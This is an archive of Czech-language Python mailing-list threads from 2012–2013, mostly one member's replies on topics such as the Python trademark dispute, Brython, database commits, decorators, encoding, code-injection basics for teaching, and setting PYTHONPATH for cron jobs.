Re: [python] [django-cs] Re: Fwd: [SciPy-Dev] Python trademark in legal trouble in Europe, please help

2013-03-07 Tema obsahu Hynek Fabian
Dobra vec se podarila, chlebodarce prave odesila dopis.
Nejake uspechy na jinych frontach?

On 02/15/13 22:05, Honza Javorek wrote:
 Tyler by mohla být můstek do Red Hatu. Nebo je tu ještě někdo jiný z RH,
 kdo by to tam mohl protlačit?
 
 H
 
 
 2013/2/15 Whit w...@jizak.cz
 
 Blogpost tu mam zabukovanej k nacteni ted o vikendu, pokud pomuze tak za
 Sanomu samozrejme poslat muzeme. Uvitam kdyztak Kvbiku nejakou koordinaci
 a/nebo spolupraci s formulovanim dopisu atd...

 V.


 On Friday, February 15, 2013 7:13:04 PM UTC+1, Jakub Vysoky wrote:

 urcite se pokusme dotlacit firmy (diky hynek fabian), at neco daji
 dohromady. co pak treba redhat, suse, sanoma, fragaria, etc..

 sam premyslim, zda bychom jako Pyvec.org [1] mohli neco zmoct. Nebo
 aspon predat informace o srazech [2], ci neco podobneho..

 [1] http://pyvec.org/
 [2] 
 http://lanyrd.com/series/**praha-pyvo/http://lanyrd.com/series/praha-pyvo/

 ps: odpovidam i na #django-cs kanal - vic hlav vic vi

 On Fri, Feb 15, 2013 at 5:51 PM, Hynek Fabian
 hynek@firma.seznam.cz wrote:
 Podle odkazovaneho blogu bych navrhoval sestavit prehled cesky psane
 odborne literatury o pythonu.
 Co se firmenich dobrozdani tyce, zkusim k necemu pohnout sveho
 chlebodarce.

 On 02/15/13 17:28, Mike wrote:
 Je to velmi dolezite, asi podobne, ako ked si volakedy niekto v USA
 chcel patentovat Linux.
 Pomozme.

 Miso K.

  Original Message 
 Predmet: [SciPy-Dev] Python trademark in legal trouble in Europe,
 please
 help
 Dátum: 14.2.2013 23:56
 Odosielateľ: Fernando Perez fpere...@gmail.com
 Adresát: Fernando Perez fpere...@gmail.com
 Odpovedať na: SciPy Developers List scip...@scipy.org

 Hi all,

 please do NOT respond to this thread or to me directly.  This is
 strictly to spread this message as widely as possible, so that anyone
 who receives it and can act on it does so.  Needless to say, do
 forward this to anyone you think might be in a position to take useful
 action.

 The Python trademark is in serious risk across Europe due to the
 actions of a UK-based IP troll.  If you operate in Europe, please help
 the Python Software Foundation gather evidence in the legal battle to
 protect the Python trademark across the EU.  You can find the official
 blog post from the PSF with instructions on how to help here:

 http://pyfound.blogspot.com/**2013/02/python-trademark-at-**
 risk-in-europe-we.htmlhttp://pyfound.blogspot.com/2013/02/python-trademark-at-risk-in-europe-we.html


 and this thread on Hacker News is being monitored by the PSF Chairman
 Van Lindberg in case you want to ask the team directly any questions:

 http://news.ycombinator.com/**item?id=5221093http://news.ycombinator.com/item?id=5221093

 Cheers,

 f
 __**_
 SciPy-Dev mailing list
 scip...@scipy.org
 http://mail.scipy.org/mailman/**listinfo/scipy-devhttp://mail.scipy.org/mailman/listinfo/scipy-dev

 __**_
 Python mailing list
 pyt...@py.cz
 http://www.py.cz/mailman/**listinfo/pythonhttp://www.py.cz/mailman/listinfo/python

 __**_
 Python mailing list
 pyt...@py.cz
 http://www.py.cz/mailman/**listinfo/pythonhttp://www.py.cz/mailman/listinfo/python



 --
 Jakub Vysoky

 mob: +420 605 852 377
 jab: jakub@gmail.com
 twit: https://twitter.com/kvbik

  --
 --
 E-mailová skupina django...@googlegroups.com
 Správa: http://groups.google.cz/group/django-cs

 ---
 Tuto zprávu jste obdrželi, protože jste přihlášeni k odběru skupiny
 django-cs ve Skupinách Google.
 Pokud chcete zrušit odběr skupiny, aby vám z ní již nechodily e-maily,
 zašlete e-mail na adresu django-cs+unsubscr...@googlegroups.com.
 Další možnosti najdete na adrese https://groups.google.com/groups/opt_out.



 
 
 
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
 

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Článek o brythonu

2013-03-05 Tema obsahu Hynek Fabian
Protože o cem se tam pise je nejaky jazyk s odsazovanim a dvojteckami.
S pythonem to ma asi tolik spolecneho jako Java s C++, taky ma oboji
chlupate zavorky a stejne jmena zakladnich typu.
Ale zadny kod ktery neni natolik primitivni aby se dal prepsat z fleku
tim neproleze. Dekoratory? Deskriptory? Metatridy?

IMO funkcni pristup je implementovat pythonovy vm jako to dela
ironpython nebo jython, nejaky preklad syntaxe popisovany v tom clanku
je slepa ulicka.

(disclaimer: nezkousel jsem to, vychazim jen z toho co se tam pise)

On 03/05/13 15:24, Bystroushaak wrote:
 Aha. Proč?
 
 Dne 5.3.2013 13:43, azurIt napsal(a):
 Ten priklad je dost vtipny :) ak to ma generovat takyto kod, tak to
 naozaj nie je pouzitelne.

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Článek o brythonu

2013-03-05 Tema obsahu Hynek Fabian
Tak jsem si to zkusil v demo konzoli:

class C(object): pass
c = C()
c.__dict__[spam] = 42

vysledek:

RuntimeError: Cannot convert 'c.__dict__' to object
module '__main__' line 3
c.__dict__[spam] = 42

Takze asi tak…


On 03/05/13 15:59, Hynek Fabian wrote:
 Protože o cem se tam pise je nejaky jazyk s odsazovanim a dvojteckami.
 S pythonem to ma asi tolik spolecneho jako Java s C++, taky ma oboji
 chlupate zavorky a stejne jmena zakladnich typu.
 Ale zadny kod ktery neni natolik primitivni aby se dal prepsat z fleku
 tim neproleze. Dekoratory? Deskriptory? Metatridy?
 
 IMO funkcni pristup je implementovat pythonovy vm jako to dela
 ironpython nebo jython, nejaky preklad syntaxe popisovany v tom clanku
 je slepa ulicka.
 
 (disclaimer: nezkousel jsem to, vychazim jen z toho co se tam pise)
 
 On 03/05/13 15:24, Bystroushaak wrote:
 Aha. Proč?

 Dne 5.3.2013 13:43, azurIt napsal(a):
 Ten priklad je dost vtipny :) ak to ma generovat takyto kod, tak to
 naozaj nie je pouzitelne.
 
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
 

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] Fwd: [SciPy-Dev] Python trademark in legal trouble in Europe, please help

2013-02-15 Tema obsahu Hynek Fabian
Podle odkazovaneho blogu bych navrhoval sestavit prehled cesky psane
odborne literatury o pythonu.
Co se firmenich dobrozdani tyce, zkusim k necemu pohnout sveho chlebodarce.

On 02/15/13 17:28, Mike wrote:
 Je to velmi dolezite, asi podobne, ako ked si volakedy niekto v USA
 chcel patentovat Linux.
 Pomozme.
 
 Miso K.
 
  Original Message 
 Predmet: [SciPy-Dev] Python trademark in legal trouble in Europe, please
 help
 Dátum: 14.2.2013 23:56
 Odosielateľ: Fernando Perez fperez@gmail.com
 Adresát: Fernando Perez fperez@gmail.com
 Odpovedať na: SciPy Developers List scipy-...@scipy.org
 
 Hi all,
 
 please do NOT respond to this thread or to me directly.  This is
 strictly to spread this message as widely as possible, so that anyone
 who receives it and can act on it does so.  Needless to say, do
 forward this to anyone you think might be in a position to take useful
 action.
 
 The Python trademark is in serious risk across Europe due to the
 actions of a UK-based IP troll.  If you operate in Europe, please help
 the Python Software Foundation gather evidence in the legal battle to
 protect the Python trademark across the EU.  You can find the official
 blog post from the PSF with instructions on how to help here:
 
 http://pyfound.blogspot.com/2013/02/python-trademark-at-risk-in-europe-we.html
 
 
 and this thread on Hacker News is being monitored by the PSF Chairman
 Van Lindberg in case you want to ask the team directly any questions:
 
 http://news.ycombinator.com/item?id=5221093
 
 Cheers,
 
 f
 ___
 SciPy-Dev mailing list
 scipy-...@scipy.org
 http://mail.scipy.org/mailman/listinfo/scipy-dev
 
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] otázka ohladom mojho štýlu písania v OOP

2013-01-15 Tema obsahu Hynek Fabian
Vymyslet si muzes cokoliv, jde jen o to jak moc to ma byt chytry a
slozity. Celkem bezny pristup je mit zvlast parser vstupu coz byva
nejaky stavovy stroj, cili instance objektu ktery zere vstup a pada z
nej nejaka abstraktni  reprezentace. V pripade nejakeho interpretru by
to byly objekty reprezentujici prikazy. Cili zjednodusene neco zhruba v
tomto smyslu (YMMV):

for cmd in InputReader(sys.stdin):
if cmd is GameOver: break
if cmd.comment: continue
cmd.process(sys.stdout)


To jen tak ciste akademicky, jestli dobre rozumim o co se snazis tak
vyrabis s prominutim hroznou blbost a nejakej vlastni parser je mimo
diskusi.
To co vidim je (radoby) shell, a nejlepsi shell je shell sam. Trable s
cwd jsou jen to nejmensi z potizi ktere te na soucasnem kurzu cekaji.
Pokud opravdu potrebujes shell se vsim vsudy, tak si proste pust proces
bashe pres popen. V praxi to neni uplne jednoduche protoze budes muset
resit veci kolem emulace terminalu (coz je prakticky to o co se
pokousis) ale je to resitelne – midnight i screen to tak delaji.
Snazit se porozument syntaxi (neznameho!) shellu resitelne neni.
Predstav si takovyhle vstup:
( mkdir /tmp/spam ; chmod 700 /tmp/spam )  cd /tmp/spam
To je celkem bezny obrat, ver tomu ze opravdovy unixak pro kazdy dalsi
ohak ktery vymyslis najde tri zpusoby jak nebude fungovat.
Nejjednodussi reseni je se smirit s tim ze subshell je subshell a ma
vlastni cwd. Vsechny ostatni programy to tak taky delaji, lidi jsou na
to zvykli a neni na tom nic spatneho.


On 01/14/13 19:18, Roman Beno wrote:
 Na to už som natrafil.
 Čo sa týka Raiczeho kritiky, podobný systém s odkazom na metódy jednej
 konkrétnej instancie je uplatnený v module random.
 
 Ešte by som mal jednu otázku, je to skôr vec názoru.. Nakoľko vyššie
 spomínané príklady sa toho nejak veľmi netýkajú.
 
 Tak napríklad ten triviálny príklad s triedou PrikazovyRiadok :-)
 
 V časti
 
 if __name__=__main__:
 # čo robit s instaciou(ami) po spustení z termu..
 
 
 by mohlo byť:
 
 A)
 inst=PrikazovyRiadok()
 inst.proces()
 
 alebo
 B)
 urobit metodu proces  tak aby sa self.proces() robil len raz, napr:
 def proces(self):
self.prikaz=input(Zadajte: )
if self.prikaz.startswith(cd):
 .
elif self.prikaz.startswith(pwd):
 .
else:
os.system(self.prikaz)
 
 a potom už v časti if __name__ 
 inst=PrikazovyRiadok()
 while True:
inst.proces()
if self.prikaz==0:
 break
 
 atd atd proste v triede stanovit iba to nevyhnutné a prácu s metodami
 instancie nechat do tohto bloku.
 Skor sa však priklanam k možnosti A.
 
 Ďakujem za odpoved
 Roman

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] otázka ohladom mojho štýlu písania v OOP

2013-01-14 Tema obsahu Hynek Fabian
Tak s timnhle bych byl opatrny. Vetsina filozofovani o OOP je psana s
ohledem na C++/Javu a kdyz dojde na prakticke rady nebo dokonce ukazky
zacnou se objevovat veci jako singletony, gettery/settery, fabricke
metody a podobne radosti, ktere jsou v pythonu bud zbytecne nebo
vyslovene skodlive.
Nic proti filozofovani, naopak, Design Patterns by mela byt povinna
cetba :-) ale porad plati ze by clovek mel znat dobre jazyk o kterem je
rec, aby rozeznal co je obecny princip a co jen vlastnost jazyka.
Pak jsou tu samozrejme takove ty uplne akademicke pojednani ve kterych
neni ani radka kodu, ale z tech se imo zacatecnik nedozvi nic prakticky
uzitecneho.
Spis nez nejake dalekosahle zvaneni, uplne zakladni ustava kodu v
pythonu je pro me modul this.

On 01/13/13 18:48, Róbert Čerňanský wrote:
 On Sat, 12 Jan 2013 18:46:35 +0100
 Roman Beno romanbeno...@gmail.com wrote:
 
 V mojej otázke som mal viac na mysli, či je vhodné písat jednu velkú
 metódu bez atribútov ako program, prípadne viac metód na
 rozkúskovanie a trochu sprehladnenie programu, resp. sa snažit aby
 čast kódu pri vytváranií instancie triedy (čiže už za dokončením
 definície triedy) bola čo najstručnejšia?
 
 Tu vlastne pýtaš, ako najlepšie navrhnúť program.  Aké triedy bude
 mať, aké metódy budú tieto triedy obsahovať a pod.  Tu sa pri hľadaní
 návodov nemusíš držať Python-u (a v niektorých prípadoch ani objektovo
 orientovaného programovania), ale hľadaj skôr informácie o objektovo
 orientovanom (alebo všeobecnom) návrhu.
 
 Napr. na stránke
 http://c2.com/cgi/wiki?PrinciplesOfObjectOrientedDesign sa nachádzajú
 základné princípy objektovo orientovaného návrhu.  Hneď prvý (Single
 Responsibility Principle) Ti dáva odpoveď na to, či je lepšia jedna
 veľká metóda (či trieda) alebo viac malých.
 
 Čo sa týka návrhu a písania programu všeobecne, (ale aj objektového),
 tak je výborná kniha Dokonalý kód
 (http://www.martinus.sk/?uItem=24387).  Dáva odpovede na podobné otázky
 ako sa tu pýtaš.
 
 Robo
 
 

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Podivné: MySQLdb pod Windows 7 nezapisuje do ta bulky

2012-12-10 Tema obsahu Hynek Fabian
 Kdyz jsem kontroloval nastaveni: SELECT @@AUTOCOMMIT;
 tak daval sice 1, ale nefungovalo to.
 Teprve kdyz jsem po INSERT INTO a UPDATE pouzil COMMIT;
 zacalo to fungovat spravne. Nevim kde je chyba.
To neni chyba ale vlastnost. Viz PEP 249:

Closing a connection without committing the changes first will cause an
implicit rollback to be performed.

Logika je takova, ze metody commit() i rollback() ihned  zacnou dalsi
transakci, takze vzdy jde rollbackovat. Tim padem v dobre napsany
aplikaci kdyz nekde vystreli vyjimka, destruktor spojeni po sobe uklidi
a data zustanou konzistentni. Jako bonus nemusis psat begin :-)
BTW resit to pres execute(COMMIT) taky neni nejlepsi napad.
Na to je metoda commit(), ktera zaroven doplnuje nejakou dalsi logiku
(zacne dalsi transakci). U MySQL je to mozna jedno, ale pythoni DB API
je takhle vymysleny proto aby slo snadno portovat mezi ruzny databaze,
ktery uz nemusi byt tak benevolentni (a tupy) jako MySQL.
(A IMO ti budou padat porad warningy ze rollbackujes mimo transakci)

Navic MySQLdb na to ma udelanej contexmanager, takze se da napsat neco jako:

with conn as cur:
cur.execute(DELETE FROM world)
cur.execute(INSERT …)

pokud v takovym bloku vystreli vyjimka, udela se rollback hned a ne az
pri destrukci objektu spojeni. (Vyjimka se propaguje dal jako obvykle)
Kdyz zadna vyjimka nenastane udela se automaticky commit na konci bloku.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] Supervisord + python aplikace pracující s Gitem

2012-06-06 Tema obsahu Hynek Fabian
 přesně tak, chyběla HOME…Myslel jsem, že supervisord nešahá na tyhle
 env věci, že je nechá v subprocessu který vytvoří pro uživatele, pod
 kterým má aplikace běžet.
Supervisor je spousteny z initu, zadny $HOME nikdy neuvidi. To nastavuje
login shell. Potomci supervisoru stejne jako potomci cronu zdedi
defaultni prostredi initu ve kterem neni skoro nic. Supervisor by s tim
mohl neco udelat ale urcite nenastavi $HOME – spravny daemon ma svoje
proprietky v /etc a /var.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] Dekorátor - prosím pěkně o konzultaci a vysvětlení

2012-05-09 Tema obsahu Hynek Fabian
 tj. d neni v podstate primo dekorator, ale tovarna, ktera dekorator
 vytvori (1. vnoreni) a ten pak vetsinou obsahuje wrapper puvodni
 funkce (2. vnoreni)

To bych si dovolil trochu rozvést. Důvod je ten, že kód za zavináčem je
platný pythoní výraz se vším všudy. Může tedy to být i něco složitějšího:

@spamClass(dirt).getSpamDeco(someHam, 42)

Jak může interpret poznat jestli je getSpamDeco dekorátor s parametry
nebo fabrická  metoda která vrací parametrizovaný dekorátor?
Příklad se dá najít přímo ve standartní knihovně – property dekorátor má
metody setter a deleter. Tam kde člověk napíše @x.setter ovšem
interpret uvidí x.__getattribute__('setter') a zase by nevěděl jak si
to má vykládat. Interpret se proto řídí jednoduchým pravidlem – nějaké
dekorátory neřeší a prostě vyhodnotí výraz se vším všudy.
Z hlediska interpretru je tedy řešení výše uvedeného dilematu takové, že
každé takové volání je parametrizovaný dekorátor. Z hlediska
programátora to znamená, že  obskoč s parametrizovaným dekorátorem je
nutné udělat i když by stačilo dekorovat všechno jednou funkcí která by
přebírala parametry.
Druhá vnitřní funkce je už jen klasický wrapper nad samotnou dekorovanou
funkcí.
Celé je to jen důsledek snahy udržet jednoduchou vnitřní logiku
interpretru. Ve výsledku to sice vypadá hrozně, ale dá se to pochopit
aplikací jednoduchých pravidel.
Sám jsem to ocenil až když jsem na narazil na IMO opačný případ – copy
konstruktory v C++. Snaha o přímočarý zápis tam vede ke složité logice
uvnitř kompileru a pro mě obtížně předvídatelné chování.

BTW kdysi jsem si napsal metadekorátor který na funkci s parametry
aplikoval onen obskoč automaticky. Pokud to nebude někde v archivu
konfery, je to celkem zajímavý domácí úkol na procvičení dekorátorů :-)

Ufff…
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] Unicode/ne-unicode problem

2012-05-02 Tema obsahu Hynek Fabian
 Chtěl bych to udělat systémově, než na ten vstup poštvat 50x replace.

Jestli tím replace myslíš decode :-), tak to jde, v modulu codecs je
wrapper nad voláním open() který provádí transparentní překódování:

In [21]: codecs.open(test,r, utf8).read()
Out[21]: u'\u0161\u010d\u0159\u017e\n'
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] file.close

2012-04-27 Tema obsahu Hynek Fabian
 try:
 FI.write(PART)
 except:
 FI.close
 
 chybejici zavorky jsou predpokladam jenom chyba v emailu?

To nepredpokladej. :-) Bez zavorek je to platny pythoni vyraz, ktery
ovsem nic nezavre.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] python pro studenty

2012-04-24 Tema obsahu Hynek Fabian
 Mám za to, že u programování na webu je rizikem vždycky to, co
 dostávám od uživatele -- tedy data z formulářů a podobně. Pokud mi
 chce web někdo heknout, snaží se podstrčit nějaká svá data nebo kód,
 který vydává za data. Takže já jako programátor bych neměl dopustit,
 aby to, co vypadá jako data, šlo za nějakých okolností spustit. A zde
 jsou určité skupiny znaků, které jsou nebezpečné: závorky, zpětné
 apostrofy atd.
Ono je spustit a spustit. Tomu co popisuješ se říká code injection a je
to možné aplikovat mnohem šířeji. Například:
- pokud se uživatelský vstup dostává do eval()
- pokud se uživatelský vstup dostává do sql dotazu (což je téměř vždy)
  (obligátní xkcd: http://xkcd.com/327/ )
- pokud se uživatelský vstup dostává do shellu (voláním system() nebo
popen()
To jsou jen nejčastější případy, podle toho si tam kdo dá mohou nastat i
jiné (cronab, url, xslt, šablonovací systémy…) a každý má jiné
escapování. Ošetřit všechno je prakticky nemožné už jen vzhledem k počtu
možností, nemluvě o tom že jednotlivé syntaxe spolu kolidují.

 U Perlu je hezkou vychytávkou přepínač -T. Ten všechna data od
 uživatele považuje za nakažená vyléčit je je možné jen kontrolou
 přes regulární výraz. Dokud to programátor neudělá nemůže nakažená
 data použít v rizikových situacích. Nevíte o nějaké podobné možnost
 pro Python?
To je s prominutím pitomost. V PHP taková vlastnost kdysi byla ale bylo
z toho víc škody než užitku a nakonec byla zrušena.
Kromě toho – k čemu by to bylo? Pokud se mají tvoji svěřenci něco
naučit, tohle je jedna z lekcí bez kterých se neobejdou. Spoléhat se že
to někdo udělá za ně je přesně to co by se naučit neměli :-)
A protože učený z nebe nespadl, musíš prostě konzervativně předpokládat
že díry budou. Šel bych proto spíše cestou izolace – apač v privátní
síti, mod_user, chroot, jail, virtualizace…



___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] python pro studenty

2012-04-24 Tema obsahu Hynek Fabian
 Tak z vyberu Python nebo VB je Python asi ta lepsi volba. Ale IMHO
 na vyuku programovani (jen zduraznuju, ze vidim rozdil mezi 
 programovanim a algoritmizaci), neni Python nejlepsi jazyk.
Já by řekl že je to právě naopak – z vysokoúrovňových jazyků je python
mezi nejlepšími. Java je mnohem složitější, visual basic je zanesený
generacemi historických reliktů, php prudce účelové, perl má možná
průhlednou filozofii ale obfuskovanou syntaxi :-) …zapoměl jsem na někoho?
(ruby nepočítám – IMO je to překrásný jazyk, ale tolik nepodobný
ostatním potomkům fortranu že se na výuku nehodí)

 Mozna jsem prilis starosvetsky, ale je potreba vedet, jak veci
 funguji uvnitr, aspon trochu, a na to ma python moc vysokou uroven 
 abstrakce.
IMO všechno v čem se nemusíš starat o alokaci paměti má moc vysokou
úroveň abstrakce. Pascal není nízkoúrovňový, jen tupý. V dnešních
podmínkách bych low-level uvažování ilustroval (zájemcům) spíš v nějakém
jednočipovém asembleru nebo třeba corewars, A programování dělal v
jazyce ve kterém se dá programovat na dnešní úrovni.
A Python má tu krásnou vlastnost že základní kroky – proměnné, cykly,
funkce – nejsou o nic složitější než v pascalu nebo basicu.

 Navic kdyz vezmu jake zmateni dokazou udelat mutable/immutable typy 
 predavane jako parametr funkce... No zlaty Pascal :)
Zrovna třeba problémy s mutable/imutable typy (já bych to nazval rozdíl
mezi kopií objektu a referencí na objekt) jsou překrásná ukázka toho na
co dítka narazí až narazí na ukazatele a reference v C/C++. S tím
rozdílem že interpret poskytuje záchranou síť místo segfaultů.
Podobných věcí by se dalo najít spousta – objekty, iterátory,
funkcionální triky, přenositelnost, síťování, paralelizace,
metaprogramování…
To že děti pascalu (včetně mě) takové vlastnosti automaticky považují za
bůhvíjak pokročilé jen dokazuje jak máme pascalem poškozené mozky :-/

 Ale samozrejme zalezi na tom, co ma byt cil toho predmetu - jestli 
 naucit decka aspon trochu programatorsky myslet, pak je to Python 
 all the way up. Ale bal bych se nekoho ucit na Pythonu 
 programovani.
Ja bych se rozhodně nebál. V práci nějaký ten milionek řádků v pythonu
máme, a programujeme bez uvozovek :-) A o lidi které bychom nemuseli
odnaučovat pascalovské/céčkařské/javistické (škrtni co se nehodí)
idiosynkrazie máme veliký zájem.

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] How To

2012-03-07 Tema obsahu Hynek Fabian
Když jsem jen tak náhodně otevřel kapitolu o slovnících, docela mě
překvapil odstavec 12.6 Čísla typu 'long'. AFAIK je tam jen proto, že v
předchozím příkladu vyleze úplně zbytečně long.
Typ long je od té doby co interpret dělá konverze automaticky víceméně
pominutelný a v pythonu 3 byl úplně zrušen. V textu se dále nepoužívá,
vůbec nic by se nestalo kdyby z textu zmizel úplně nebo byl vytlačen do
zmínky v nějakém dodatku.
Dál jsem zatím nekoukal, ale co jsem viděl je výborné, smekám.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Problém s českými znaky v cgi scriptu

2012-02-28 Tema obsahu Hynek Fabian
Když vidím v kódu řetězcový literál, začal bych tím jestli má zdroják
stejné kódování jaké očekává interpret. Mrkni na to v hexeditu nebo
použij zápis codepointu:

n='\u017e'.encode(utf8)

On 02/27/12 20:42, Tomáš Kácel wrote:
 Zdravím,
 dostal jsem problém při zobrazování českých znaků v cgi scriptu,
 hledal jsem na internetu nějaká řešení co s tím, ale nějak jsem
 nepochodil. Například v takovémto jednoduchém kódě:
 
 #!/usr/bin/env python3
 
 #print ('!DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//
 EN')
 print ('Content-type:text/html; charset=utf-8\r\n\r\n')
 print ('html')
 print ('head')
 print ('titleVyhledava/title')
 print ('/head')
 print ('body')
 n=ž.encode(utf-8)
 print(n)
 print(n.decode())
 print ('h2This is my CGI program/h2')
 print ('/body')
 print ('/html')
 
 Při otevření v prohlížeči se nezobrazí vůbec nic, protože to selže na
 znaku ž, bez řádku s vypsáním znaku ž se zobrazí: this is my cgi
 program. Myslel jsem, že python3 funguje na utf-8 a neměl by mít s
 čekými znaky problém, stejně tak prohlížeč je nastaven na utf-8.
 Děkuji za radu, nějak nevím co s tím.
 S přáním pěkného dne
 T. Kácel


___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] PYTHONPATH

2012-01-20 Tema obsahu Hynek Fabian
 Ale jasne,
 Resit, jak to delaji jine unixove programy je sice zajimavy, ale cekal bych, 
 ze na python ml se bude radit standardni reseni pythonu, ne miliony 
 ostatnich. 
To je špatně na tolik způsobů že ani nevím kde začít…

Za prvé, standartní pythoní způsob je PYTHONPATH (a .pth, ale to je spíš
bokovka), to je zdokumentovaná součást interpretru. Virtualenv je zvlášt
balený wrapper, který dokonce ani není ve standartní knihovně.

Za druhé, nejsou žádné miliony ostatních, ale jen jeden způsob který
používají miliony programů: cesty oddělené dvojtečkou v proměnné
prostředí. Dokonce i Java se toho drží, a to už je tedy něco!

Za třetí to celé má důvod, pokud standardni reseni pythonu  nebude
totéž jako jak to delaji jine unixove programy tak máš zásadní
problémy s interoperatibilitou. Představ si to naopak – když ty budeš
potřebovat z pythonu spustit program v javě nebo ruby, je jednodušší
sáhnout známým způsobem do prostředí nebo zkoumat jaký speciální nástroj
si jeho autoři zase vymysleli? (nápověda: je to chyták)


 Ale co. Balte si zavislosti na uroven svyho baliku, pouzivejte 
 sys.path.insert, reste si neexpanzi promennych v cronu a tvarte se, ze venv 
 je slozity, resi jine problemy a ignorujte, co se v python deployment svete 
 deje poslednich pet let.
Tady už odbočujeme od tématu takže se směle pustím do subjektivních
soudů: IMO Python deployment je totéž jako Java deployment nebo PHP
deployment – nesmysl.
Slušně vychovaný linuxový program (a programátor) se neopájí představou
že  počítač je bitevní pole na kterém jeho milovaný jazyk válčí s jinými
jazyky, alébrž deployuje tak jak to bůh chtěl pomocí balíčkovacího
systému. Tím nechci říci že si každou kravinu balím :-) ale že strkání
blbin do /usr/local se nebojím nazvat pravým jménem – prasení.
Ale co. Používej si svůj deplyment, řeš si (ne)sdílení svých knihoven
po svém a tvař se že standartní vlastnosti operačního systému jsou
složité a ignoruj co se v linuxovém světě děje posledních dvacet let.

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] PYTHONPATH

2012-01-17 Tema obsahu Hynek Fabian
 Muzete delat blbosti jako .bashrc a .profile, muzete treba najit funkcni 
 reseni pres .pth. Faktem je, ze je to vsechno drbani se pravou rukou za levym 
 uchem.
 
 Virtualenv je de-facto standard, ktery resi vsechno tohle davno. Takze bud 
 muzete 1] pouzit standardni reseni, ktere to davno resi, je otestovane a bude 
 se vam jeho znalost hodit i na dalsi veci, 
 2] nebo si vymyslet vlastni podivny hacky. 
 Jen ty hacky, prosim, neradte zacatecnikum jako _dobre_ reseni.

To je legrační, já bych řekl že unixové prostředí (enviroment) je
standartní věc už nějakých čtyřicet let - ve srovnání s tím je naopak
virtualenv drbání se někde. (.pth jsem zmínil jen pro úplnost, používá
se to spíše při balíčkování) Takže můžete buď
1) použít standartní řešení (PYTHONPATH), které obdobně používá shell
(PATH), java (CLASSPATH), linker (LD_LIBRARY_PATH), ruby (RUBYLIB) a asi
milion dalších programů a programátorů nebo
2) vymýšlet podivné hacky které ve skutečnosti nic neřeší (resp. řeší
úplně jiný problém).

Jak jsem už psal, nechci hanět samotný virtualenv protože si umím
představit řadu  situací (složitějších než to co řeší tazatel) kdy bude
užitečný, jen ho prosím neraďte začátečníkům jako _žádné_ řešení.

Vladislavův problém nebyl s PYTHONPATH, ale kde a jak ho správně
nastavit, což je otázka jeho distribuce a základů shellu. Zmáknul to
AFAIK výborně (/etc/profile.d je v distrech které jím oplývají určen
přesně na tohle) a s cronem si určitě taky poradí :-)
(BTW není problém v tom že cron nerovíjí obsah proměnné jako shell? tj.
konstrukce FOO=neco:$FOO nebude v crontabu fungovat. A ani není
potřeba, právě proto že je prostředí úplně holé.)
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] PYTHONPATH

2012-01-16 Tema obsahu Hynek Fabian
 Ano, přečetl jsem si to. Je to však zásah, který nepřežije reinstalaci 
 čehokoliv.
 
 Nakonec jsem se rozhodl pro tu nejtriviálnější cestu, jak zpřístupnit moje 
 moduly:
 
 1) do pracovního adresáře jsem vložil modul mojemoduly.py s obsahem:
 
 # Pridani vlastni cesty k mym modulum
 import sys
 _nova_cesta = /cesta_k_mym_modulum
 if not _nova_cesta in sys.path:
 sys.path.insert( 1, _nova_cesta)
 
 2) na začátku KAŽDÉHO mého programu, který využívá mé moduly dám:
 import mojemoduly
 
 A je poznámka pro vývojáře pythonu:
 
 Nestálo by za úvahu přidat do systému jednoduchou funkci, například nějaký 
 soubor python_path.pth,
 kde by se to dalo nastavit dodatečně a trvale kdykoliv po instalaci dodatečně 
 ?

RTFM:
The most convenient way is to add a path configuration file to a
directory that’s already on Python’s path, usually to the
.../site-packages/ directory. Path configuration files have an extension
of .pth, and each line must contain a single path that will be appended
to sys.path.

(http://docs.python.org/install/index.html#modifying-python-s-search-path)

Quidův stroj času zafungoval, i příponu to má stejnou jak jsi chtěl :-)

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] PYTHONPATH

2012-01-13 Tema obsahu Hynek Fabian
 Co je alepro mě nepochopitelné, proč programy spouštěné z crontabu s
 uživatelem root havarují, že nenašly cestu k mojemoduly.
 
 Viz řádek z crontabu: * * * * *rootprogram.py
 kde program.py má import modulu z mojemoduly
S cronem je ten problém, že je to systémový démon a podědí od initu jen to 
nejmenší nastavení prostředí.  Procesy z něj spouštěné tedy neuvidí ani čárku 
ze systémového ani uživatelského profilu (/etc/profile a $HOME/.profile plus 
bashizmy). Nejsem si jistý jestli se provede .bashrc (záleží jestli cron 
spouští podprocesy voláním system nebo exec* ale to z hlavy nevím).
Jediná jistota je všechno si nastavit ručně v crontabu. PATH, PYTHONPATH a 
LC_ALL nastavuji běžně:

PYTHONPATH=/usr/local/share/mojemaximegapajtniknihovna/
* * * * *rootprogram.py

 
 Vaší radě na přidání řádku do ~/.bashrc nerozumím. Co je to normální
 uživatel, když jsem přihlášený jako root a jako root jsou programy i
 spouštěné.
